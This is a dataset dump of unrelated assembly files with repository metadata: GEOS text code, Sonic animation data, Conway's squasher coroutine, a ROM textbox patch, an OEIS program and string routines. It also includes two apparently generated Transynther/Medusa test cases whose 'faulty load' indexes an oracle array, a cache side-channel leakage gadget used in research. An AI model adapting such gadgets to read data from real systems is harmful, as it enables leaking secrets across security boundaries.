hexsha stringlengths 40 40 | size int64 6 1.05M | ext stringclasses 3 values | lang stringclasses 1 value | max_stars_repo_path stringlengths 4 232 | max_stars_repo_name stringlengths 7 106 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses listlengths 1 7 | max_stars_count int64 1 33.5k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 232 | max_issues_repo_name stringlengths 7 106 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses listlengths 1 7 | max_issues_count int64 1 37.5k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 232 | max_forks_repo_name stringlengths 7 106 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses listlengths 1 7 | max_forks_count int64 1 12.6k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 6 1.05M | avg_line_length float64 1.16 19.7k | max_line_length int64 2 938k | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
2aff0b277ff2f0272e3ca08597bda74aa227cd5d | 1,898 | asm | Assembly | Library/Text/TextStorage/tsSmallCreDest.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Library/Text/TextStorage/tsSmallCreDest.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Library/Text/TextStorage/tsSmallCreDest.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1991 -- All Rights Reserved
PROJECT: PC GEOS
MODULE:
FILE: tsSmallCreate.asm
AUTHOR: John Wedgwood, Nov 26, 1991
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
John 11/26/91 Initial revision
DESCRIPTION:
Create/Destroy text storage in small text objects
$Id: tsSmallCreDest.asm,v 1.1 97/04/07 11:22:25 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
Text segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SmallCreateTextStorage
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Create storage for a small text object.
CALLED BY: TS_CreateTextStorage via CallStorageHandler
PASS: *ds:si = Instance ptr
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 11/26/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TS_SmallCreateTextStorage proc far
class VisTextClass
uses ax, cx, di
.enter
mov ax, si
call ObjGetFlags ; al <- text-object flags.
and al, mask OCF_IGNORE_DIRTY
mov cx, TEXT_INIT_STREAM
or al,mask OCF_DIRTY
call LMemAlloc ; Allocate a dirty chunk
mov di, ax ; di <- new text chunk
mov di, ds:[di] ; ds:di <- ptr to stream.
; DBCS::
SBCS < mov {byte} ds:[di], 0 ; make it an empty string.>
DBCS < mov {wchar} ds:[di], 0 ; make it an empty string.>
call Text_DerefVis_DI ; ds:di <- instance ptr
mov ds:[di].VTI_text, ax ; save stream handle.
.leave
ret
TS_SmallCreateTextStorage endp
Text ends
| 24.649351 | 79 | 0.530558 |
5824bf835c3be1b6be690e2acf8dc22a6e045406 | 369 | asm | Assembly | _anim/obj22.asm | NatsumiFox/AMPS-Sonic-1-2005 | ac8730799f1b96291358c77a4b64529de94ce8a4 | [
"Apache-2.0"
] | 2 | 2020-04-09T19:36:35.000Z | 2021-01-05T14:20:17.000Z | _anim/obj22.asm | NatsumiFox/AMPS-Sonic-1-2005 | ac8730799f1b96291358c77a4b64529de94ce8a4 | [
"Apache-2.0"
] | null | null | null | _anim/obj22.asm | NatsumiFox/AMPS-Sonic-1-2005 | ac8730799f1b96291358c77a4b64529de94ce8a4 | [
"Apache-2.0"
] | 1 | 2020-06-17T14:16:35.000Z | 2020-06-17T14:16:35.000Z | ; ---------------------------------------------------------------------------
; Animation script - Buzz Bomber enemy
; ---------------------------------------------------------------------------
dc.w byte_9A1E-Ani_obj22
dc.w byte_9A22-Ani_obj22
dc.w byte_9A26-Ani_obj22
byte_9A1E: dc.b 1, 0, 1, $FF
byte_9A22: dc.b 1, 2, 3, $FF
byte_9A26: dc.b 1, 4, 5, $FF
even | 36.9 | 77 | 0.401084 |
eaf9aa9e16e9244587047fdcf04ae04c93a6551b | 5,787 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1149.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1149.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1149.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r14
push %r15
push %rax
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_D_ht+0x8443, %r12
nop
nop
xor %rbp, %rbp
mov $0x6162636465666768, %r15
movq %r15, (%r12)
nop
nop
nop
cmp $24839, %r13
lea addresses_UC_ht+0x15aa3, %r12
nop
nop
nop
nop
and %r14, %r14
movb $0x61, (%r12)
nop
nop
sub %rbp, %rbp
lea addresses_WC_ht+0x19b33, %rdx
clflush (%rdx)
nop
dec %rax
movb (%rdx), %r14b
nop
nop
nop
xor %r14, %r14
lea addresses_A_ht+0x1607c, %r13
clflush (%r13)
nop
inc %r12
mov $0x6162636465666768, %rdx
movq %rdx, (%r13)
nop
nop
sub $10033, %rbp
lea addresses_WT_ht+0x137c3, %rdx
nop
sub %r15, %r15
mov (%rdx), %r12
nop
nop
add $38175, %r15
lea addresses_WT_ht+0x3743, %rsi
lea addresses_WC_ht+0x81e3, %rdi
nop
nop
nop
add $12519, %rax
mov $71, %rcx
rep movsq
and $22363, %rdi
lea addresses_WT_ht+0xc0c3, %rdi
nop
dec %rsi
mov (%rdi), %eax
nop
nop
nop
cmp %rdi, %rdi
lea addresses_A_ht+0x11bb7, %rdx
nop
nop
dec %r13
movb (%rdx), %r14b
nop
nop
xor $59438, %r14
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r15
pop %r14
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %rbx
push %rcx
push %rdx
// Faulty Load
lea addresses_WC+0xb6c3, %r13
nop
nop
nop
nop
xor %rdx, %rdx
mov (%r13), %r11
lea oracles, %rbx
and $0xff, %r11
shlq $12, %r11
mov (%rbx,%r11,1), %r11
pop %rdx
pop %rcx
pop %rbx
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WC', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_WC', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}}
{'src': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_A_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
{'38': 21829}
38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38
*/
| 41.335714 | 2,999 | 0.656817 |
8be9a865f62cd4a36021ceadba34f1fc04774a5a | 4,553 | asm | Assembly | MacOS_x86/squasher2.asm | codecop/Conways-Squasher-Coroutine | 46330e92c16a17612c244c15c8077318c1c0302b | [
"BSD-3-Clause"
] | 2 | 2020-07-07T22:53:23.000Z | 2021-04-26T19:22:58.000Z | MacOS_x86/squasher2.asm | codecop/Conways-Squasher-Coroutine | 46330e92c16a17612c244c15c8077318c1c0302b | [
"BSD-3-Clause"
] | null | null | null | MacOS_x86/squasher2.asm | codecop/Conways-Squasher-Coroutine | 46330e92c16a17612c244c15c8077318c1c0302b | [
"BSD-3-Clause"
] | 1 | 2020-12-10T14:42:53.000Z | 2020-12-10T14:42:53.000Z | bits 32
%define NULL dword 0
card_len equ 80
section .bss
%macro coro 2
mov ebx, %%_cnt
mov [route_%1], ebx
jmp %2
%%_cnt: nop
%endmacro
route_SQUASHER: resd 1 ; storage of IP, module global data for SQUASHER
route_WRITE: resd 1 ; storage of IP, module global data for WRITE
i: resd 1 ; module global data for RDCRD and SQUASHER
card: resb card_len ; module global data for RDCRD and SQUASHER
t1: resd 1 ; module global data for SQUASHER
t2: resd 1 ; module global data for SQUASHER
out: resd 1 ; module global data for SQUASHER, WRITE
section .text
; --------------------------------------------------------------------------------
SYS_READ equ 3
STDIN equ 0
RDCRD:
mov eax, [i]
cmp eax, card_len
jne .exit
mov [i], NULL
; read card into card[1:80]
push dword card_len ; maximum number of bytes to read
push dword card ; buffer to read into
push dword STDIN ; file descriptor
sub esp, 4 ; OS X (and BSD) system calls needs "extra space" on stack
mov eax, SYS_READ
int 0x80
add esp, 16
.exit:
ret
; --------------------------------------------------------------------------------
; router
SQUASHER:
jmp [route_SQUASHER]
; coroutine
SQUASHER_CORO: ; label 1
call RDCRD
mov esi, [i]
xor eax, eax
mov al, [card + esi]
mov [t1], eax
inc esi
mov [i], esi
mov eax, [t1] ; redundant, value still in register
cmp eax, '*'
jne .not_equal_ast
.equal_ast:
call RDCRD
mov esi, [i] ; redundant, value still in register
xor eax, eax
mov al, [card + esi]
mov [t2], eax
inc esi
mov [i], esi
mov eax, [t2] ; redundant, value still in register
cmp eax, '*'
jne .not_equal_second_ast
.equal_second_ast:
mov [t1], dword '^'
jmp .not_equal_ast
.not_equal_second_ast:
mov eax, [t1]
mov [out], eax
coro SQUASHER, WRITE
mov eax, [t2]
mov [out], eax
coro SQUASHER, WRITE
jmp SQUASHER_CORO
.not_equal_ast: ; label 2
mov eax, [t1]
mov [out], eax
coro SQUASHER, WRITE
jmp SQUASHER_CORO
; --------------------------------------------------------------------------------
SYS_WRITE equ 4
STDOUT equ 1
printEbx:
push dword 1 ; message length
push ebx ; message to write
push dword STDOUT ; file descriptor
sub esp, 4 ; OS X (and BSD) system calls needs "extra space" on stack
mov eax, SYS_WRITE
int 0x80
add esp, 16
ret
; --------------------------------------------------------------------------------
; router
WRITE:
jmp [route_WRITE]
; coroutine
WRITE_CORO:
.loop:
coro WRITE, SQUASHER
; out is output area of SQUASHER and only holds a single byte,
; so it can only return a single read element. The look ahead
; reads a second element and thus needs a switch to return the
; looked "ahead" element on next call.
mov ebx, out
call printEbx
mov eax, [i]
cmp eax, card_len
jne .loop
ret
; --------------------------------------------------------------------------------
SYS_EXIT equ 1
_exitProgram:
mov eax, SYS_EXIT
mov ebx, 0 ; return code = 0
int 0x80
; --------------------------------------------------------------------------------
global _main
_main:
; set up coroutine routers
mov ebx, SQUASHER_CORO
mov [route_SQUASHER], ebx
mov ebx, WRITE_CORO
mov [route_WRITE], ebx
; set up global data
mov [i], dword card_len
call WRITE
.finished:
jmp _exitProgram
| 26.017143 | 98 | 0.42741 |
b07dd632b9591acb6697163aba520d293b8aa026 | 2,882 | asm | Assembly | w32-asm-setregisters.asm | mitthu/testival | 2aa27e70efcf89f5bc4d00f3c20becdb36a27bb7 | [
"BSD-3-Clause"
] | 1 | 2021-11-24T08:00:56.000Z | 2021-11-24T08:00:56.000Z | w32-asm-setregisters.asm | mitthu/testival | 2aa27e70efcf89f5bc4d00f3c20becdb36a27bb7 | [
"BSD-3-Clause"
] | 1 | 2016-07-27T13:52:32.000Z | 2019-06-12T08:02:04.000Z | w32-asm-setregisters.asm | mitthu/testival | 2aa27e70efcf89f5bc4d00f3c20becdb36a27bb7 | [
"BSD-3-Clause"
] | 2 | 2020-12-04T08:42:54.000Z | 2021-06-22T00:47:17.000Z | BITS 32
SECTION .text
%define arg1 DWORD [ESP+0x04]
%define arg2 DWORD [ESP+0x08]
%define arg3 DWORD [ESP+0x0C]
%define arg4 DWORD [ESP+0x10]
%define arg5 DWORD [ESP+0x14]
%define return EAX
%define flag_ID (21)
%define flag_VIP (20)
%define flag_VIF (19)
%define flag_AC (18)
%define flag_VM (17)
%define flag_RF (16)
%define flag_NT (14)
%define flag_IOPL (12) ; and 13
%define flag_OF (11)
%define flag_DF (10)
%define flag_IF (9)
%define flag_TF (8)
%define flag_SF (7)
%define flag_ZF (6)
%define flag_AF (4)
%define flag_PF (2)
%define flag_CF (0)
; struct registers = { EAX, ECX, EDX, EBX, ESP, EBP, ESI, EDI, EIP }
%define registers arg1
%define register_size 4
%define register(x) [registers + x * register_size]
%define register_esp register(4)
%define register_eip register(8)
%define do_int3 arg2
%define do_ret arg3
%define set_esp arg4
%define set_eip arg5
%define temp_eip [FS:0x800] ; Use unused bytes in the TEB to temporarily store EIP
global _asm_SetRegisters
_asm_SetRegisters:
MOV ECX, registers
%define registers ECX
CMP set_esp, 0
JNE no_get_esp
MOV register_esp, ESP
no_get_esp:
; Setup RFLAGS such that CF = do_int3, PF = do_ret, ZF = set_eip
PUSHFD
POP EAX
BTR EAX, flag_CF
CMP do_int3, 0
JE CF_0
BTS EAX, flag_CF
CF_0:
BTR EAX, flag_PF
CMP do_ret, 0
JE PF_0
BTS EAX, flag_PF
PF_0:
BTR EAX, flag_ZF
CMP set_eip, 0
JE ZF_0
BTS EAX, flag_ZF
ZF_0:
PUSH EAX
POPFD
; Save RIP for later use (it is used after we set all other registers and lose the pointer to the registers structure
PUSH DWORD register_eip
POP DWORD temp_eip
MOV ESP, registers ; ESP = struct registers
POP EAX ; EAX = registers.EAX
POP ECX ; ECX = registers.ECX
POP EDX ; EDX = registers.EDX
POP EBX ; EBX = registers.EBX
POP EDI ; EDI = registers.ESP
POP EBP ; EBP = registers.EBP
POP ESI ; ESI = registers.ESI
XCHG EDI, [ESP] ; EDI = registers.EDI, [registers.EDI] = registers.ESP
POP ESP ; ESP = registers.EDI == registers.ESP
JP use_ret
use_jmp:
JNC no_int3_jmp
INT3
no_int3_jmp:
JMP temp_eip ; RIP = temp_eip
use_ret:
JNZ no_set_rip
PUSH DWORD temp_eip ; [RSP] = temp_eip
no_set_rip:
JNC no_int3_ret
INT3
no_int3_ret:
RET ; EIP = [RSP]
| 28.82 | 122 | 0.552394 |
77ebf94b4578955b382e702c2e6a87ded43b286a | 560 | asm | Assembly | libsrc/_DEVELOPMENT/string/z80/asm_strset.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/string/z80/asm_strset.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/string/z80/asm_strset.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null |
; ===============================================================
; Jan 2015
; ===============================================================
;
; char* strset(char *s, int c)
;
; Fill the string with char c.
;
; ===============================================================
SECTION code_string
PUBLIC asm_strset
EXTERN l_ret
asm_strset:
; enter : hl = char *s
; e = int c
;
; exit : hl = char *s
;
; uses : af, hl
push hl
xor a
loop:
cp (hl)
jp z, l_ret - 1
ld (hl),e
inc hl
jr loop
| 14.358974 | 65 | 0.325 |
54eabb0abc1ef409d5038d3183a7bd33f72764a8 | 1,378 | asm | Assembly | Assembly/textbox/moya.asm | WildGenie/Ninokuni | 019b4b7f069b311d0146d634f0af4c3096be7dd9 | [
"Apache-2.0"
] | 14 | 2015-01-15T19:08:06.000Z | 2021-09-27T17:27:22.000Z | Assembly/textbox/moya.asm | WildGenie/Ninokuni | 019b4b7f069b311d0146d634f0af4c3096be7dd9 | [
"Apache-2.0"
] | 5 | 2015-01-13T21:19:45.000Z | 2015-04-12T15:51:18.000Z | Assembly/textbox/moya.asm | WildGenie/Ninokuni | 019b4b7f069b311d0146d634f0af4c3096be7dd9 | [
"Apache-2.0"
] | 7 | 2015-02-02T20:14:00.000Z | 2017-05-14T07:58:12.000Z | ;;----------------------------------------------------------------------------;;
;; Align the position of the textbox in moya menu
;; Copyright 2014 Benito Palacios (aka pleonex)
;;
;; Licensed under the Apache License, Version 2.0 (the "License");
;; you may not use this file except in compliance with the License.
;; You may obtain a copy of the License at
;;
;; http://www.apache.org/licenses/LICENSE-2.0
;;
;; Unless required by applicable law or agreed to in writing, software
;; distributed under the License is distributed on an "AS IS" BASIS,
;; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
;; See the License for the specific language governing permissions and
;; limitations under the License.
;;----------------------------------------------------------------------------;;
.definelabel NO_PADDING,1
;; Recipe summary
.arm
.org 0x0207C0E4
MOV r2, #0x4 ; Y pos, original R5 (2)
ADD R0, R10, #0xA4
MOV r1, #0x9C ; X pos, original 0x8F
.org 0x0207C08C
MOV r2, #2 ; Digits of first number in floor, original R7 (3)
.if NO_PADDING
;; Without number padding
.org 0x207C070 ; 18 instr to override
.area 0x48
ADD R0, R10, #0x3E000
LDR R0, [R0,#0x214]
ADD r4, r0, #1
ADD r6, r0, #5
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
.endarea
.endif
| 24.607143 | 80 | 0.597968 |
ca98504fccb99989785d8adb8ad6836b2753fe49 | 696 | asm | Assembly | oeis/174/A174745.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/174/A174745.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/174/A174745.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A174745: y-values in the solution to x^2 - 21*y^2 = 1.
; Submitted by Jon Maiga
; 0,12,1320,145188,15969360,1756484412,193197315960,21249948271188,2337301112514720,257081872428348012,28276668666005766600,3110176471388205977988,342091135184036651812080,37626914693772643493350812,4138618525179806747616777240,455210410855084969594352145588,50069006575534166848631119237440,5507135512897903268379828763972812,605734837412193825354932532917771880,66625324979828422885774198792190933988,7328180012943714323609806934608084966800,806033176098828747174192988608097155414012
lpb $0
sub $0,1
mov $2,$0
max $2,0
seq $2,144930 ; Numbers k arising in A144929.
add $3,$2
lpe
mov $0,$3
mul $0,12
| 49.714286 | 486 | 0.847701 |
dda539a637e455d3c8b662a7d665d2f0b89e731b | 5,710 | asm | Assembly | Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xa0_notsx.log_21829_1196.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xa0_notsx.log_21829_1196.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xa0_notsx.log_21829_1196.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r14
push %rax
push %rcx
lea addresses_UC_ht+0x1e23c, %r14
nop
nop
nop
nop
inc %rcx
mov (%r14), %ax
nop
nop
nop
nop
nop
xor $43093, %rcx
pop %rcx
pop %rax
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r9
push %rax
push %rbp
push %rbx
push %rcx
// Store
lea addresses_PSE+0xdd2c, %rcx
nop
nop
nop
nop
xor $51311, %r9
movb $0x51, (%rcx)
nop
nop
nop
nop
nop
cmp $49467, %rbp
// Load
lea addresses_UC+0xe3c, %r9
nop
nop
nop
nop
sub $62459, %r14
movups (%r9), %xmm5
vpextrq $0, %xmm5, %rbx
nop
xor %rbp, %rbp
// Load
lea addresses_PSE+0xee11, %r14
nop
nop
cmp %r9, %r9
movb (%r14), %r12b
nop
nop
nop
nop
and $6465, %r12
// Store
lea addresses_normal+0x1d26c, %r12
nop
nop
nop
sub $7367, %rcx
movb $0x51, (%r12)
nop
nop
nop
nop
nop
add $23393, %rbp
// Load
lea addresses_RW+0x1dd8c, %rbp
nop
nop
nop
nop
cmp %r9, %r9
movups (%rbp), %xmm1
vpextrq $1, %xmm1, %rbx
nop
and $5140, %rbx
// Store
lea addresses_D+0x190bb, %r14
nop
nop
add %rcx, %rcx
movw $0x5152, (%r14)
nop
cmp %rcx, %rcx
// Store
lea addresses_RW+0x179b0, %rax
nop
nop
nop
nop
nop
mfence
movb $0x51, (%rax)
nop
nop
inc %rax
// Faulty Load
lea addresses_US+0x1da3c, %r12
nop
nop
nop
nop
nop
dec %rbx
movb (%r12), %r9b
lea oracles, %rcx
and $0xff, %r9
shlq $12, %r9
mov (%rcx,%r9,1), %r9
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r9
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_US', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 4}}
{'src': {'type': 'addresses_UC', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 7}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'size': 1, 'NT': True, 'same': False, 'congruent': 4}}
{'src': {'type': 'addresses_RW', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 4}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'size': 2, 'NT': False, 'same': True, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 1}}
[Faulty Load]
{'src': {'type': 'addresses_US', 'AVXalign': False, 'size': 1, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': True, 'congruent': 10}, 'OP': 'LOAD'}
{'00': 21829}
